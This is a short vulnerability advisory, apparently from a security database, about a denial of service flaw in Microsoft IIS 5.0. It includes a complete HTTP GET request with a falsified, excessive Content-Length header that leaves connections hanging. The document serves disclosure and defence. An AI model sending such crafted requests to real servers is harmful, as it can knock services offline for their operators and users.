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Microsoft IIS 5.0 False Content-Length Field DoS Vulnerability
source: http://www.securityfocus.com/bid/3667/info
Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.
If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server.
The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:
GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1